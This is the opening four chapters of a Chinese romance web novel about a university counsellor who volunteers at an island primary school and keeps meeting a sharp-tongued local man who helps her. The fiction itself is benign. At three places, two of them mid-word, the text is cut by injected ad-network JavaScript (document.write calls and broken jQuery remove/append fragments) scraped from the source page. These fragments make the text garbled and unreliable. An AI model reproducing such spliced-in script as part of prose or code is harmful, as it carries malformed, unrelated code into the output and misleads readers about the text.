《海风吻柠檬》 1. 画中人 海云市的夏季如期而至,七月的海风夹着柠檬香味,蔓延整座沿海城市。 刚下市内公交,陈夏柠掐好时间点,拉着行李箱往马路对面的客运车站跑去,迎面的风吹动橙色衬衫向两边敞开,白T左胸口绣着蓝色图标和字体——中国海事大学。 研究生毕业后她回母校任职辅导员,今年三月国际航海日学校组织辅导员去各大中小学进行航海义讲,传播航海知识。 而在七月将迎来中国航海日,学校将航海义讲和支教项目结合,她不仅代表学校传播航海知识,还可以陪伴留守儿童度过整个暑假。 到了候车大厅咨询才知道港口的大巴车站人流量不多,基本上都是比原定时间晚一个小时,攒够人了再发车。 陈夏柠盘算着时间和行程,现在是14点整,要是等到15点发车,估计天黑才能到希望小学,这么晚过去会不会太麻烦校长了。 她正盯着手机页面愁眉苦脸着,迎来走来一位穿花衬衫的中年妇女,皮肤黝黑,手中摇曳着一面蒲扇,“姑娘,你去哪?出租车坐不坐?” 陈夏柠挪过视线,犹疑了几秒:“阿姨,我去朝阳岛。” “去朝阳岛啊,可以啊,我家那口子正要去那边办事,顺路。” 阿姨热情似火地靠过来,伸出手臂给她指了个方向,客运站门口有许多出租车在拉客,“在那,你赶时间的话,现在就可以出发。” “行。”陈夏柠觉得这是最快的方式了,拉出行李箱抽杆,跟着阿姨边走边问,“多少钱啊?” 阿姨走在前面热得大汗淋漓,大热天拉生意的确不容易,陈夏柠心生同情,暗想价格高一点也没事。 “不高,也就三百。” 此言一出,陈夏柠停在原地,以为自己耳鸣了,“多少来着?” 阿姨回过身要帮她拉行李,嘿嘿一笑:“三百。” 陈夏柠忙不迭攥紧行李箱往后退一步,太夸张了,乘坐大巴车也就四十五,出租车要三百? 这是贵一点吗? 这可以称得上打劫了! 虽然说出行费用可以向学校申请报销,可是三百一趟的路费,距离本来就不是很远,拿给财务都要被怀疑真实度了。 不行,这不是同情心泛滥的时候。 “阿姨谢谢您了,我不赶时间。”陈夏柠委婉拒绝,拉着行李箱往回走。 阿姨不肯放弃,跑到她跟前,比手商量:“平日拉别人都是三百往上,我给你个优惠,二百五!” “......” 她刚开看网约车也就一百多,要是真信这阿姨,她真就是二百五了。 陈夏柠狂摇头,加快往回走的脚步,阿姨激动地抓住她的行李箱杆,死缠烂打道:“小姑娘,这点钱对你来说不算什么吧,大巴车只能给你送到站,出租车能给你送到家门口。” 陈夏柠立刻卖穷:“我很缺钱的!” 阿姨盯着她背着的托特包,精明地笑了下:“都用得起香奈儿了,你就别唬我了。” “没唬人。”陈夏柠将破了皮的肩带指给她看,装模有样道,“A货,大A特A!” “......” 阿姨露出无语的表情,没继续纠缠。 - 她现在位于城市边缘,位置太偏了,陈夏柠尝试网约车也没叫到车,好在等到了半小时,司机师傅吆喝着要出发了。 陈夏柠买了一瓶冰镇矿泉水坐在中间靠窗的位置,皮肤热得发红,将瓶身贴在脸颊降温,手机发出叮咚的消息声,是好友许佳念。 念念不忘:【夏夏,听说江逸风回海云市了,你去朝阳岛不会是为了躲他吧?】 陈夏柠瞳孔收缩,聚集在“江逸风”这三个字,倒吸一口气,双手捧着手机敲字“才不是”还没发出去,手机页面又跳出一个弹窗,微博点赞的通知。 原贴是参与话题#年少时的暗恋后来怎么样了#,她曾经回复: 从小到大我只喜欢过我的竹马,我们相识于十三岁,我很难说出从什么时候喜欢上他的,可能是无数个被他保护的瞬间。 青春期的他潇洒恣意,叛逆又放荡不羁,被很多人热烈的喜欢着。站在他身边,我会自卑,迟迟不敢说出这份喜欢,只能望着他换一个又一个女朋友,然后暗自辛酸。 大三那年,我想趁着他生日跟他告白,无论成不成功,就当给自己这么多年的暗恋一个交待。 我却无意间听到他跟朋友谈起我,他亲口说—— “就她那样的乖乖女玩起来有什么意思啊,早知道她是假千金,老子都不会搭理她。” 我是父母错认的孤儿。那一刻,我彻底清醒,无论是父母还是暗恋对象,他们对我的好无非是因为我的身份。抛开这个身份,他们不会爱我,也不会把我放在眼里。 我更不应该幻想一个浪子能收心,喜欢他就是一场飞蛾扑火。 评论区招来许多网友留言,纷纷表示安慰。 【呜呜呜青梅竹马还能be,太难受了。】 【别伤心了小姐姐,他不值得。】 【未来你肯定会遇见更好的人。】 ...... 陈夏柠眨了眨干涩的眼,按在屏幕的手不自觉颤动,指尖泛白,重新编辑内容发过去。 Lemon:【以后别提他了,我们没关系。】 念念不忘:【行行行,不提晦气的人。】 念念不忘:【我在寺庙烧香呢,向佛祖祈祷你今天遇见自己的真命天子。】 回顾自己二十六岁的人生,陈夏柠对亲情和爱情失望至极,但日子该过还是得过,有一句话怎么说来着,我偏要在这薄情的世界深情地活。 Lemon:【哼,你就迷信吧。】 念念不忘:【你还别不信,上次我家狗狗持续发高烧,在医院打了两周的针,浑身被扎得体无完肤了,结果我去寺庙烧一香,第二天它就康复了。】 陈夏柠:“......” 那分明是打针的效果。 Lemon:【今天要是有帅哥跟我搭话,我就信你。】 念念不忘:【行啊,惩罚照旧。】 陈夏柠权当在说玩笑话,撂下手机,侧脸看向窗外,大巴车行驶在跨海大桥,西沉的太阳缓缓而落,海面被盖上金罩,荡漾着金碧辉煌的水波。 她头晕得厉害,额头靠在椅背,闭上双眼,昏昏欲睡。 睡过去之前,她诽腹道别说帅哥了,连男的都见不到。 朝阳岛并没有像它的名字那样美好,实则是一座孤岛。 当地居民世代以打渔为生,随着时代高速发展,年轻人不爱吃苦,不肯继承家业,纷纷离开岛屿去外面谋生。 现在岛屿上的渔民基本五六十岁,仅有一所希望小学,生源流失严重,剩下的学生全部是留守儿童。 陈夏柠做了一个梦,黑夜中她走在荒无人烟的山路里,路边的竹林倏 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 然窜出一只豺狼。 她丢下行李箱,吓得往回跑,一路喊着爸爸妈妈,喊江逸风的名字,他们都没出现救她。 还没走多远,半路杀出来一只猛虎,凶恶无比。 令人浑身泛起鸡皮疙瘩,心脏快要跳到嗓子眼。 身后好像有什么推力,推着她向前倾,下一秒,她睁开眼睛,额头泛起豆大的汗水。 原来是车停了。 车内的乘客纷纷起身拿着背包下车。 她深呼一口气,调整好情绪,下车往后备箱走过去。 取完行李箱,陈夏柠往出口走看了眼天边绯色的落日,掏出手机给林梅校长打电话。 按照先前商量,林梅会安排人来车站接她,坐上车时陈夏柠发消息说了自己大概到达的时间,现在还没收到回复。 电话打过去,听筒传来绵长的滴声,陈夏柠手指攥着衣角蹂躏,忐忑不安起来。 依旧无人接听,好几次都是这样。 天快黑了怎么办? 看到门口公交的末班车时间,陈夏柠悬着的心终于死了。 没办法的办法就是,她按照导航走路过去。 沿着水泥路行走,望着前方的夕阳,陈夏柠觉得自己像小学课本上跟时间赛跑的那个小孩,要赶在日落之前抵达希望小学。 这条路蜿蜒曲折,似乎没有尽头,陈夏柠气喘吁吁地仰望前方的上坡,这个时间点,岛上的人跟消失了似的,连个人影都没有。 再这么孤独地走下去,她真害怕噩梦成真,会遇见豺狼和老虎。 有点后悔没坐出租车过来,耗钱总比没命强吧。 就在这时身后窜出来一阵强风,“嗖”的一声,一辆白色的电动车跟她擦肩而过。 “欸——!” 要不载我一程,好心人。 那人开得速度挺快,陈夏柠根本没来得及说这句话,举起的手怯生生收回。 等她拉着行李箱走到上坡的顶端,视线霍然开朗。 沿海公路中央停着那辆白色电动,男人微低着头虚靠在车身,伸出一双大长腿,脚面撑地,身后广阔的天空绵延着层层云海,被晚霞染成火红色。 这个场景美得像一幅油彩画,他是画中人。 他是在等人吗? 目前来看,这条孤寂的山路只有他两。 陈夏柠放缓脚步走过去,地面倒映的两道斜影交汇,“画中人”戴着白色头盔抬头看她。他一开口出声,次元壁破了。 “需要我载你一程么?” 他嗓音清冽又有颗粒感,好似海面吹来的一阵凉风,驱散了夏日的闷热。 陈夏柠停下脚步看清楚男人的长相,那张脸简直就是鬼斧神工般的存在,他的眼睛漂亮得不真实,愈发坐实了他“画中人”的形象。 不是吧......竟然真的有帅哥和她主动搭话。 男人还在等她回答,陈夏柠思绪回笼,温暾道:“我要去希望小学,你顺路吗?” “可以去。” 言下之意,不顺路也可以载你去。 天下没有免费的午餐,也不会有人无故帮你。 有那么一瞬间陈夏柠怀疑这人不怀好意,在看清楚他头盔的标识,很快放下警惕心,举起右手臂,伸出五根手指。 男人:“?” “五十,行么?”陈夏柠补充了句,“这比我来坐大巴的价格还要高。” “......” 2. 热心市民 男人神色微怔,扯了扯唇角,像是在笑,也不知戳中了什么笑点。 “上车,天快黑了。” 陈夏柠自认为不是声控,可他的嗓音就是很好听,令人心情愉悦的那种。 在她发呆的片刻,男人已经捞起行李箱塞进电车前面空隙,她的行李箱不大,放进去刚刚好。 他回过身瞧了她一眼,骨节分明的手指落到下颌,松了松黑色的束紧带。 “不用,你戴着吧。”陈夏柠急忙摆摆手,找好理由,“我怕热。” 男人搭在帽壳的手往下滑,一气呵成地将挡风面罩拉下,慢条斯理地活动头盔,“我觉得太紧了。” 陈夏柠:“......” 好吧,自己想多了。 两人先后坐上车,男人拧动把手,前面是下坡路,电车缓缓朝前行驶,坡度太陡时,他双脚落在外面增加摩擦力。 陈夏柠双手抓住身后的钢管,以免因为惯性撞上他。 “你知道去希望小学的路吗?”她说这话纯粹是为了找话题,笃定他说知道。 然而对方并不按常理出牌,“你开导航也行,我也不确定自己会不会拐到山沟里。” “......” 落日早已消失不见,漆黑的幕布只有半片月牙和稀疏的星点。 电车开启前后灯,在乌漆嘛黑的路上缓慢行驶,左边是山右边传来海浪漂打声,晚风似乎更强烈了。 “你就这么相信我?” 男人说话声被风吹得细碎,陈夏柠啊了声,没听清。 他嗓音抬高了点:“我说,你不怕我是坏人?” “你头盔上有公安局的标志,”陈夏柠不紧不慢地推测,“你应该是新来的吧,实习警官?两个月前我来过朝阳岛,这边皆是老老小小,公安局也没有年轻人。” 况且当地的民风淳朴,公安局的人员说,他们这边治安很好,接到的案件就没有什么偷窃杀人之类的,全都是自然灾害,山林起火坠海等。 地方小,职能分得不是很清,当地公安局几乎包揽了所有公共事务,为群众解决各种日常麻烦。 男人没回答她的问题,转问:“那你呢,为什么要来?” “我是辅导员。”陈夏柠说,“特地申请暑假来朝阳岛陪伴留守儿童。” “怎么没人送你过来,一个女孩子黑夜走山路多不安全,这点安全意识不需要多说了吧。”男人语调懒懒的,说着说着语气突变,转而吐槽,“海事大学就这么对待支教老师的?” 今天这状况她着实没想到,陈夏柠并没有把责任推卸给别人,好声好气地说:“就我一个人也不用大张旗鼓,不过来之前和林校长联系需要有人接,她应该有事在忙,电话一直打不通,我就只能自己走山路了。” 她补了句:“还好碰见你巡逻了。” 陈夏柠自行脑补这位“新人警察”巡逻偶遇她,内心小小雀跃了一小会儿,而后恍然诧异:“你怎么知道我是海事大学的?” 男人肩膀抽动了下,胸腔发出愉悦的颤抖,像是在嗤笑她迟钝的反应能力,“你衣服上不是有字么?” 陈夏柠低着头,揪着内搭白色T恤衫往外扯,上面的字体不大,但深蓝色字体线条以白色为背景板,倒也显眼。 她点头连哦两声,夸赞:“你视力不错。” “......” 尴尬。 她不太会跟陌生人搭话,尽管对方是个超级大帅哥。 然而下一刻,男人又将局面推向更尴尬的余地,语气带着十足的嘲笑:“你的脑回路也够清奇的,要给一个警察路费,你敢给,对方敢收么?” 陈夏柠:“......” 是有点冒犯人家的职业了。 她这是被下午拉客的阿姨代入过深,还没出戏呢。 陈夏柠肃然起敬,想喊警察叔叔又觉得不符合年龄,只会更加冒犯这位帅哥,干脆省略称呼:“我刚刚想着不能让你白跑一趟,大家工作都不容易.....是我思虑不周了。” 他不咸不淡地嗯了声,应该不在意这事儿,跳到另一个话题:“还有,这里叫zhao阳岛,不是chao阳岛。莫不是弄混了北京朝(chao)阳区的读音?” 还真是。 这个岛的名字她念对念错全凭下意识。 陈夏柠讪笑了下:“我有点迷多音字。” “哦,那你别带坏小朋友。”男人漫不经心道,“他们七月五号放假,你这两天可以恶补一下拼音。” “......” 他怎么有种在挑刺,教育她的样子。 算了,别计较了。 小心他把你扔半路,她心想。 须臾,导航提示音:“左转,距离目的地还有一百米。” 与此同时,林梅校长的电话打过来,抱歉道:“不好意思陈老师,下午学校有个孩子摔伤,我送他去医院就把你这事忘了。你现在到哪了?” 望着前方影影绰绰的学校,陈夏柠心里那点怨气烟消云散,好脾气道:“没事儿,我快要学校门口了。” 林梅:“那行,我这就出门迎接你,宿舍给你收拾好了。” “嗯好,麻烦了。” 电动车停在学校门口,男人将前面的行李箱拿下来,人还坐在车上。 陈夏柠从车上下来,微微颔首:“谢谢您了。” “热心警官。” 男人目视前方,轻咳了声,眼尾弯起:“我可没承认自己是警察啊,这装扮是我偷来的。” “......” 陈夏柠瞳孔放大,惊了一下。 还没等她反应过来。 男人拧动把手,快速掉头,一溜烟跑得比火箭还快。 忽地,身后的大铁门被推开,发出金属碰撞的声响。 林梅校长是个四十六岁的中年妇女,戴着黑框眼镜,留着利落的短发,整个人生得圆润,先跟她问好,再次解释自己的失礼,“下午学生在楼梯间打闹,有个男孩从阶梯上摔下来,给我吓一跳。让你一个人过来实在抱歉。” 陈夏柠不以为意地笑了笑,拉着行李跟着她往教师宿舍方向,担忧道:“学生的伤势怎么样?” “还好送医院及时,额头破皮缝了两针,”林梅说,“家长那边的矛盾还在调节。” - 这所希望小学坐落于山脚,面积不大,教学区只有一排两层楼房,教师住宿的地方位于操场后面,坐北朝南。 林梅特意给她找了个单间,被褥是全新的,房间打扫得干净卫生。 进屋后,两人寒暄几句,林梅后知后觉地说:“我开校门的时候好像看见有人送你过来的。” “我遇见了一个骑电动的年轻人,他戴着公安局的头盔,我还以为他是警察。”陈夏柠蹙了下眉,好笑地说,“结果走之前他说自己的装备是偷来的。” 林梅对本地人了解得十分透彻,按照她的形容,闲散道:“肯定是周警官的儿子,那臭小子倒是办了件好事。”看了眼时间,话锋陡转,“那行,我不打扰你了,有事明天说。” 陈夏柠送她出门,“好,校长您慢走。” 林梅摆摆手,示意她回去,“别送了别送了,好好休息吧。” 陈夏柠回屋,将房间的落地扇挪到床边,嗡嗡地吹着凉风,整个人四肢瘫在床上,仰望着头顶的天花板,疲倦的身体慢慢松弛, 叮咚的声响打破静谧的房间,陈夏柠懒洋洋地够到床头柜的手机。 念念不忘:【到学校了没?碰见帅哥了吗?】 陈夏柠回复“刚躺下”,愿赌服输地交待:【算是遇见了个帅哥。】 隔着屏幕都能感觉到对方的激动:【这么灵验!他长什么样?】 回忆当时的场景,她只是匆匆扫视三秒对方的容颜,毕竟盯着陌生人挺没礼貌的,他戴着头盔又加上天色暗沉,她看得不是很细心。 Lemo (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' n:【我好像忘了。也有可能他只是在黑夜中长得帅。】 念念不忘:【......合着你遇见神秘的黑夜骑士了?】 这人的确挺神秘的,还挺奇怪。 短暂的接触,男人字里腔调流露着不太正经的样子,但也没让人觉得他有什么坏心眼。 根据林校长所说,他说的偷装备应该就是戴了他爸爸的头盔,警察局的头盔。 Lemon:【算是吧,我连他名字都不知道。】 念念不忘:【我敢打赌,你们还会遇见,他可是我为你求来的真命天子。】 Lemon:【你知道咱俩最大的区别是什么吗?】 念念不忘:【什么?】 Lemon:【我是坚定的马克思主义信仰者。】 念念不忘:【......】 - 刚来陌生环境,陈夏柠有点认床,第二天早上天没亮就醒了,拿好洗漱用品出门去东边的教师公共卫浴。 她站在洗手池边刷牙,环顾四周环境,不是那种敞开的大澡堂,注重隐私有单独隔门设计,陈夏柠觉得很不错了。 用洗脸巾擦了擦脸,她拿着牙杯出去时迎面撞上一位长相稚嫩的女教师,刚大学毕业,名叫李悦。 “你是新来的支教老师吧?我正要找你呢。” 陈夏柠慢吞吞地点头,抿唇笑笑:“李老师找我有什么事吗?” 林梅同时担任村委书记一职,工作比较忙,特意安排李悦带她来熟悉学校。 早饭李悦带她去食堂,然后带她去教师办公室,没有多余的办公位,李悦将自己的位置让给她。 李悦问:“听校长说,你还带来了教材?” “就是比较有意思的科普书。”这么一提,陈夏柠想起这件事,转口问:“李老师,学校有小推车吗?” 为了更好促进航海启蒙教育,中国海事大学出版了一套特别有趣味的科普书籍,陈夏柠来之前清点了六十本书,快递发往这边。 按照导航,陈夏柠推着小推车来到古朴的金鱼巷,在琳琅满目的商铺中找到快递站点,两箱实体书很有重量。 青石板路的摩擦力强,推车的四只小轮子滚在上面发出砰砰的声响,陈夏柠还没走出巷子胳膊就发酸了,她调换位置,人走在前面改为拉车的姿势,稍微轻松一点。 快到巷口有段上坡路,几个小孩在玩玻璃球,男孩女孩都有,其中两个男生发出冲突拌嘴,没过三秒就动手打起来。 陈夏柠小心翼翼地拉着车并没在意旁边的情况,不料两个男生推拉之间猛地撞在她横空的胳膊,酥麻的刺痛感,指尖本能瑟缩。 等她再反应过来,身后的小推车顺着滑坡自动往下掉,她往后追过去,车的速度却越来越快,过往路人吓得纷纷往两边躲。 眼瞧着这车要撞上一位拄着拐杖过路的老爷爷,倏忽,侧面窜出一道蓝色身影,用极快的速度抓住推车的手柄,健硕的手臂往后一拉,不到一米的距离,老人差点被撞上。 陈夏柠急匆匆跑过去先是跟老人鞠躬道歉,老爷爷摸了摸白胡子,心如止水地冲她笑了笑,转而看向拉车的男人,“臂力不错啊,小伙子。” 陈夏柠这才将注意力分过来,对上一双好看的瑞凤眼,男人右眼角下有颗小痣,挺鼻薄唇,轮廓流畅硬朗,兼具柔与刚,俊秀得像位翩翩少年。 她愣怔在原地。 好吧,黑夜骑士白天也很帅。 而她竟然又一次输给了许佳念的唯心主义...... 男人眉梢一挑,尾音上扬:“这么快就不认识我了?” “当然认识,”陈夏柠顿了一下,将昨晚的称呼改两字形容他方才的举动,“热心市民。” “......” 像是不辜负她给的称号,男人转过去帮她推车,分给她一个眼神,得寸进尺道:“考虑给我颁个锦旗,受难群众。” 陈夏柠:“......” 3. 渔民 受难群众? 这称呼似乎没毛病,还很形象地描绘出她的角色。 没想到24小时之内,见面两次,也受他帮助两次。 帮她这位受难群众。 然而此时此刻,这位“热心市民”推着小推车漫步在前面,轻而易举地度过上坡。 陈夏柠加快步骤跟上,跟他并排走着,“谢谢你啊。” “嗯。” 步入水泥路后轻松了许多,男人依旧没把小推车给她,单手推着,另一种手从口袋里掏出手机接听电话,备注周诚。 他将手机贴在耳边,瞄了眼旁边的人。 陈夏柠自动意会,走在前面跟他拉开两米以外的距离。 “周祈越,”周诚上来就赶人,“你啥时候走啊?” “你管得着么?”他语气轻狂,“我想待到什么时候就什么时候。” “得,我管不着。”周诚气势汹汹又委屈巴巴地发泄,“你他妈昨晚太狗了!把我撂到酒吧,骑着车自己走了,关键那还是我的车!” “你干什么损事心里没点逼数是吗?” 昨晚周诚去酒吧过度消费付款的时候口袋的钱不够,酒保嘲笑他,周诚本就爱面子,又加上酒劲儿上头,直接跟酒保动手。 最后还是周祈越赶来帮他解围,不仅付了酒钱还赔了打人的钱。 想到这,周祈越冷不丁地道:“我没把这事告诉周叔就不错了。” “哥,别啊。”周诚立马求饶,“我攒够钱就还你,但你千万不要跟我爸说啊,他会打死我的。” “叫爹也没用,能跟我同姓是你八辈子修来的福气。”周祈越不耐烦地教训对方,“多大人了,能不能有点出息?” 还没等对面出声,他就把电话挂了。 他说话嗓门很大,陈夏柠在前面听到了些只言片语。 你管得着么。 跟我同姓是你八辈子修来的福气。 能不能有点出息。 他语气好凶好拽哦。 周祈越将手机揣回兜里,阔步跟上她。 清晨的阳光徐徐升起,光线懒洋洋地打在身上。陈夏柠正盯着地面,忽然有另一个宽阔的身影将她包裹得密不透风,可能因为他刚刚谈话的语气,她觉得他的影子都带有压迫力。 这人不好惹。 她暗自给他添加另一面认知。 陈夏柠转过身对他嘿嘿一笑:“那个,要不我来推吧,总是麻烦你挺不好意思的。” 周祈越瞥了她一眼,扬起下巴,一脸“我不是帮你你别自作多情”的神情:“我只是在尽地主之谊,况且我刚好顺路要去趟学校。” “......” 陈夏柠嘴角抽了下,笑的僵硬,害怕出错被他挑刺,刻意避开朝阳岛三个字,斟酌好语句:“岛上的民风就是被你这样的人发扬光大的。” 周祈越:“多谢夸奖。” “我叫陈夏柠,耳东陈,夏天的夏,柠檬的柠。”问对方名字之前先要自我介绍,她目光灼灼地等他接话茬。 男人扭头,意味不明地瞧她,尾音打转:“你很想知道我的名字?” 不知道为什么,话从他口中出来就变了味。 以免误会,陈夏柠耐心解释:“我总不能每次见面都喊你热心警官和热心市民吧?” “每次?”周祈越又抓住什么重要字眼,哦了一声,“你还期待下次是吧。” “......” 话间,俩人已经来到校门口,大门紧锁着。 “zhouqiyue” 他匆匆甩下自己的名字,转身去门口的保安室敲玻璃,冲里面的保安大叔喊:“大叔,恐/怖分子来了。” 顷刻间,保安大叔从摇椅上惊醒,手忙脚乱地捞起警棍,匆匆跑出来,朝着四周左瞟右瞟,“哪呢哪呢?” 陈夏柠正若有所思地将他的名字对号入座,一抬眼瞧见面前的保安帽子戴得歪七扭八,衣服松松垮垮,如此滑稽的装扮像是要演舞台剧,她差点笑出声。 周祈越悠悠道:“大叔上班时间睡觉,真有恐怖分子来了你也反应不及啊。” “你个龟孙!”被耍的保安大叔气急败坏地拍了下他肩膀,“我看你才是恐/怖分子,吓得我这把老骨头心脏病都要出来了。” 周祈越倒也不躲,嬉皮赖脸地服软:“我是恐怖分子,陈老师不是,给她开个门。” 陈夏柠实在忍不住,背过身偷笑了下。 保安大叔看在老师的面子上放行,开玩笑归开玩笑,进校门时他不忘给人道歉。 - 上午十点钟左右,教师办公室空无一人。 周祈越挽起衬衫袖子,露出两截腕骨突出的手臂,搬着纸箱往里面进,按照她指定的位置放下。 李悦进来撞见俩人,下意识地反应:“陈老师,这你男朋友啊?” “不不不是。”陈夏柠狂摇头,规规矩地站着摆出隆重介绍的手势,“这位先生刚好有事来学校,半路碰见我推重物,好心帮我而已。” 周祈越没参与谈话,转身去门口把另一箱搬进来。 李悦倚在办公桌,端着马克杯要喝水,瞅了瞅忙活的男人,又瞧了瞧陈夏柠,赔笑:“不好意思啊,你俩穿得跟情侣装似的,我误会了。” 她这么一说,陈夏柠这才后知后觉地看自己的打扮,扎着丸子头,蓝色T恤搭配黑色牛仔半身裙。 陈夏柠这次前来带有附加任务,需要拍摄支教日常和视频,海大要求出镜时要穿着具有本校标识的纯棉T恤,分为蓝色和白色,她特意带了几件当做便装穿。 视线一转,男人穿着蓝色衬衫和黑西装裤,俩人的穿搭色系就这么撞上了。 陈夏柠尴尬一笑:“巧合巧合。” 话音刚落,一道高挺的身影立在眼前,男人神色慵懒:“厕所在哪?” 陈夏柠刚来也不熟,李悦接话茬:“出门左拐五十米。” “谢了。” 目送他离开的背影,李悦啧啧两声:“长得真帅,你俩——” 在对上陈夏柠清凌凌的目光,她将快到嗓子眼的“真般配”咽下去,改口道:“你俩都长得好漂亮。” 陈夏柠属于淡颜系,标准的鹅蛋脸,皮肤白皙细腻,面部线条精致,笑起来眼睛弯成月牙,不笑的时候目光清冷,给人一种疏离感。 李悦还想说,你们俩真是郎才美貌。 她口无遮拦得罪过人,后知后觉不该跟刚认识仨小时的人乱点鸳鸯,干脆绕过话题,不提那个男的。 “陈老师,明天放假我们老师就要回家了,你可得小心班上那些孩子啊,他们调皮捣蛋的很,昨天有个男孩摔下楼,今天双方家长还在闹呢,校长夹在中间快被逼死了。” 说曹操曹操到,未闻其人先闻其声:“我的确快死了,记得给我选块风水宝地。” 两姑娘抬头,林梅大汗淋漓地走进来,搬着小板凳坐在落地扇前,对着自己吹,“这糟心的天气,我还得挨家挨户地跟老人做防溺水教育,热死我这条老命算了。” 陈夏柠去饮水机给她接水,李悦手掌拍拍自己的嘴巴,呸呸两声:“我胡说的,校长你别往心里去啊。” 林梅瞧了眼稚嫩的小丫头片子,大咧咧道:“你说的是实话。” 陈夏柠端着塑料杯走过来,“校长您喝水。” “叫我林老师就好了,咱这小地方不搞什么官架子,”林梅大口喝着水,喘过来气,目光又挪向陈夏柠,“陈老师觉得我们这里怎么样?” “挺好的。”陈夏柠抿唇一笑,指着墙根堆积的两个纸箱,“海大的科普书已经取回来了。” 林梅瞥见那两大箱,讶然:“你一个人弄回来的?” “倒也不是,回来的时候又碰见昨晚那位先生,他顺路帮我推回来了,”陈夏柠提醒道,“就您说的周警官的儿子。” 李悦:“原来是警官的儿子呀,长得特别帅!” “哦,是他啊。”林梅神色发生变化,语气带着轻蔑,“长得帅有什么用,不照样败家。” 这番评价无疑吊人胃口,陈夏柠和李悦秒变一张吃瓜脸,林梅满足她们的好奇心,娓娓道来: “高中以后这小子就没怎么回过家了,一直在海云市读书,大学毕业后他想闯出一片天地,选择跟朋友创业开公司。” “今年他们周家真是水逆,儿子在外面惹到人,公司被搞破产,差点把自己葬送进去,妈妈突发脑淤血从鬼门关里走一趟,老周劝他儿子回来继承爷爷的渔场,当个渔民。” 林梅恨铁不成钢地拍了下大腿,嗤笑:“谁曾想这臭小子刚接手鱼塘就喂死上百条鱼,他爸爸气得差点晕过去。你们说,他还不算败家吗?” 怪不得他脾气这么古怪,原来是受打击了。 陈夏柠中规中矩地评价:“他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 现在算是人生的低谷期,比较迷茫吧,说不定过段时间就好了。” “就目前他热心帮你来看,这小子确有改邪归正的可能。他估计在攒人品,改观大家对他的看法,岛民才肯和他做生意。”林梅有条有理地分析,“不过,这孩子回来后我一直没见过,不知道他长成什么样了,名字好像也有点......” 李悦像个小迷妹插话:“说不定你等会可以亲眼目睹他的英姿。” 陈夏柠恍然大悟地点点头,他这是在立乐于助人的人设呀。 林梅还没歇够,手机铃声响个不停,起身接听往外走,“李奶奶放心,不会有人再欺负您孙子......喂,冯村长我这就开会协商村头那块空地......” “校长可真是大忙人。”李悦恍然想起自己的来意,抱着一摞试卷出门前还不忘同情道:“陈老师,校长身兼数职很少顾上学校,难以想象暑假你要一个人应对那些小鬼。” 陈夏柠耸了耸肩。 今天学生期末考试,明天出完成绩放假,任课老师不会留校。 只剩她和校长监管全校的五十三名留守儿童,原本她觉得工作量不大,现在听李悦这么一说,要是她孤身一人奋战,她肯定也会忙死。 要是再来一个帮手就好了。 _ 陈夏柠坐在过道中间,正对门口,外面是空旷的操场,视野中倏然出现他走过的身影。 她捞起桌面未拆封的矿泉水跑出门,盯着他的后背喊:“周——七月。” 周祈越犹疑了几秒停下脚步,机械般转身,茫然的表情。 “辛苦你了。”她暂且只能用一瓶水感谢他。 周祈越将矿泉水在两只手间扔来扔去,专注玩杂技,漫不经心道:“陈老师还有事?” 陈夏柠一股脑热说话没上文:“我加你微信吧?” 周祈越扔矿泉水的动作一顿,这才撩起眼睑看她,唇角微微上扬:“你倒是挺会主动出击。” 这句话说的极其暧昧,完全把她推入搭讪或者追人的境地。 “我是想转你钱。”陈夏柠慢悠悠地解释,“既然你不是警察,那我有必要付车费。” 一来她不想欠别人,二来是听到他的遭遇觉得他也不容易,不想占人便宜。 看他一副不悦的样子,陈夏柠暗想他是不是不想加她微信,恍然想起什么,“对了,收款码也行。” 她已经打开扫一扫,对方伸出来的不是收款码而是二维码名片。 陈夏柠正低头扫码发送好友请求,头顶落下一道低沉的嗓音:“你叫我什么名字?” “周七月,”她又喊了句,料想他是想让她夸他名字,“你的名字挺应景的,现在正是七月。” 周祈越没吭声,收到好友请求,点击通过。 【你已经添加了July,快来一起聊天吧!】 陈夏柠立刻转账五十块钱,抬起头,正好对上他的视线,他的眸光坚定璀璨,好似藏着星辰大海。 她暗自惋惜,这张脸都可以出道了,当渔民还真可惜。 周祈越没当面点接收将手机揣回兜里,俩人面对面僵持着,像沉寂的海平面悄悄蓄积暗涌波涛,陈夏柠觉得氛围挺怪异的,问:“你不是有事来学校?” 周祈越闲散道:“嗯,上完厕所了。” 额,你真闲,来学校就是为了上厕所。 转念一想,倒也合理,他现在算是无业游民加人生迷茫者。 “如果你暑假不忙的话,”反正“热心市民”在刷好人卡,陈夏柠干脆顺水推舟,“可以来学校帮忙,我们的人手正好不够。” 周祈越拧开瓶盖仰面喝水,喉结有节奏地翻滚,一副不为所动不感兴趣的模样,陈夏柠讪笑着补了句:“我只是给你一个建议,你随便听听。” “我考虑考虑——”男人将瓶盖重新拧好,笑得讳莫如深,“给某人一个近水楼台的机会。” “.......” 处于低谷期的人都会有点自恋是吗? 算了,她大人有大量,不跟他计较。 “周七月,我在说正经事。” 男人单手抄兜,利落转身朝身后摆了下手:“还是那句话,多恶补一下拼音。” 陈夏柠:“?” 下一秒,他的消息发来。 July:【周祈越。】 陈夏柠:“......” 4. 周七月 岛屿的天气变幻莫测,明明上午火伞高张,下午一阵海风吹动云层遮挡烈日,相比较室内的闷热,室外像开了空调,凉爽至极。 陈夏柠午觉没睡好,一是被室内温度热醒的,二是她简短地做了梦,在梦中男人都在嘲笑她拼音不好。 ——你这拼音是数学老师教的吧。 ——你别教坏小朋友,误人子弟啊。 真的是魔鬼,在梦里还能碰见他继续挑刺。 陈夏柠微眯着眼,摁亮手机屏幕,俩人的页面还停留在他发名字那条信息,她忘记回复了,因为方才的梦,她一股脑热地发信息说明自己不会教坏小朋友。 Lemon:【我只是没听清而已,我普通话挺好的,一乙。】 刚发送,陈夏柠意识稍微清醒了点,刻意解释只会显得自己心虚,况且她怎么跟一个梦计较起来了,忙不迭将消息撤回。 结果下一秒。 July:【嗯,很厉害[大拇指]】 July:【牛.jdp】 July:【大神.jdp】 陈夏柠:“…………” 电风扇吹的都是热风,她实在受不了了,扔下手机,下床去开窗户,总算有凉风进来。 